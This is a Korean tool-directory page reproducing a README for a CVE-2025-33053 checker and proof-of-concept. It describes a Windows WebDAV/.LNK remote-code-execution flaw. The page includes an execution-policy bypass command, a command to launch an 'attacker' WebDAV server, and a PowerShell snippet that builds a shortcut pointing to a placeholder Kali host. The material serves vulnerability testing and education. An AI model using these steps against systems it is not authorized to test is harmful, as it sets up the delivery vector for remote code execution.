Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/thetorjancaptain/cve-2025-33053-checker-poc
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHubthetorjancaptain/cve-2025-33053-checker-poc

CVE-2025-33053-Checker-PoC

CVE-2025-33053 검사기 및 PoC

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
121년 전아직 검토되지 않음
공유

CVE-2025-33053 취약점 확인기 및 개념 증명(PoC)

확인기 증명 확인기 증명

PoC 증명 PoC 증명

Windows 시스템에 영향을 미치는 WebDAV 기반 원격 코드 실행(RCE) 취약점인 CVE-2025-33053의 잠재적 악용 여부를 확인하고 시연하기 위한 완전한 도구 모음입니다.

📌 CVE-2025-33053 정보

CVE-2025-33053은 공격자가 악성 원격 WebDAV 공유를 참조하는 .LNK 바로 가기 파일을 악용하여 영향을 받는 시스템에서 원격 코드 실행(RCE)을 유발할 수 있도록 합니다.

취약점 조건:

  • 대상에 WebClient 서비스가 설치되어 실행 중이어야 합니다.
  • 대상 OS는 .LNK 파일을 통해 접근할 때에도 UNC 경로를 WebDAV로 확인해야 합니다.

🔍 취약점은 어떻게 동작하나요?

  1. 조작된 .LNK 파일 또는 직접 UNC 경로 접근 — 다음과 같은 원격 UNC 경로를 가리킵니다:
  • .LNK가 접근되거나 UNC 경로가 (예: 파일 탐색기를 통해) 수동으로 탐색될 때: - WebClient 서비스가 WebDAV를 통해 원격 UNC 위치와 통신을 시작합니다. - 시스템이 공격자 서버로부터 메타데이터를 조회하기 위해 PROPFIND 요청을 전송합니다.
  • PROPFIND 요청을 수신하면 공격자는 다음을 확인할 수 있습니다: - 대상 시스템이 UNC 경로를 WebDAV로 확인합니다. - 시스템이 CVE-2025-33053에 잠재적으로 취약합니다.

    • ✅ 실시간 취약점 확인기 (CVE-2025-33053_checker.ps1)

    기능:

    확인 항목목적
    🔍 WebClient 서비스 상태WebDAV 지원이 활성화되어 실행 중인지 확인합니다.
    🔍 Test-Path를 통한 UNC 경로 처리시스템이 원격 WebDAV UNC 경로를 확인하는지 테스트합니다(CVE 악용의 핵심 전제 조건).

    실행 방법:

    1. 관리자 권한으로 PowerShell을 엽니다.

    2. 스크립트 실행이 제한된 경우 다음을 실행하세요:

    root@kitploit:~
    Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
    1. 확인기를 실행합니다: .\CVE-2025-33053_checker.ps1

    ⚙️ 개념 증명(PoC) 서버 (CVE-2025-33053_PoC.py)

    기능:

    • 공격자 머신에 Python 기반 WebDAV 유사 서버를 설정합니다.
    • 피해 시스템이 악성 UNC 경로를 확인할 때 들어오는 PROPFIND 요청을 캡처합니다.
    • 시스템이 접근했음을 터미널에 표시하여 악용 가능성을 증명합니다.

    참고: VM에서 테스트되었습니다.

    사용법:

    1. 공격자(Kali) 머신에서:
    root@kitploit:~
    python3 CVE-2025-33053_PoC.py --port 8000
    1. 대상 머신에서:
    • UNC 경로를 파일 탐색기에서 직접 여세요:
    root@kitploit:~
    \\<Kali-IP>@8000\DavWWWRoot\route.exe
    • 수동으로 .LNK 파일을 만들거나 다음 경로로 이동하세요:
    root@kitploit:~
    \\<Kali-IP>@8000\DavWWWRoot\route.exe
    • 바로 가기 파일을 만드는 PowerShell 예제:
    root@kitploit:~
    $WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut("C:\Users\Public\CVE-2025-33053-Test.lnk")
$Shortcut.TargetPath = "\\<Kali-IP>@8000\DavWWWRoot\route.exe"
$Shortcut.Save()
    1. 대상이 취약하다면 PoC 서버에 다음이 기록됩니다:
    root@kitploit:~
    [!] PROPFIND request received from <victim-ip> - Potential CVE-2025-33053 detected!
[!] Target system is VULNERABLE to CVE-2025-33053!

    🔍 이 PoC가 정당하고 신뢰할 수 있는 이유:

    ✔️ 실제 UNC 경로 확인을 사용합니다 — 시뮬레이션이 아닙니다. ✔️ OS에 의해 트리거된 실제 PROPFIND 요청을 캡처합니다 — CVE 악용에 필요한 정확한 동작입니다. ✔️ 페이로드를 실행하거나 해를 끼치지 않고 실제 네트워크 수준의 취약점 증거를 시연합니다.

    🚧 중요 참고사항

    이 PoC는 대상 시스템을 악용하거나 손상시키지 않으며, 취약한 기본 동작만 탐지합니다. 통제된 환경 또는 명시적 승인을 받은 경우에만 사용하도록 설계되었습니다. 모의 시뮬레이션이 아닌 실제 시스템 동작을 시연합니다. 교육 목적으로만 사용하십시오. 승인되지 않은 시스템에서 실행하지 마십시오.

    🏷️ 라이선스

    MIT 라이선스 — 교육, 연구 및 방어 목적으로만 무료입니다.

    🤝 기여

    Pull Request를 환영합니다 — 탐지 기능 개선, 기능 추가 또는 수정 제안을 환영합니다.

    ⚠️ 면책 조항

    이 저장소는 교육 및 승인된 보안 연구 전용입니다. 소유하지 않거나 테스트 권한이 없는 시스템에 오용하는 것은 엄격히 금지됩니다.

    도구 다운로드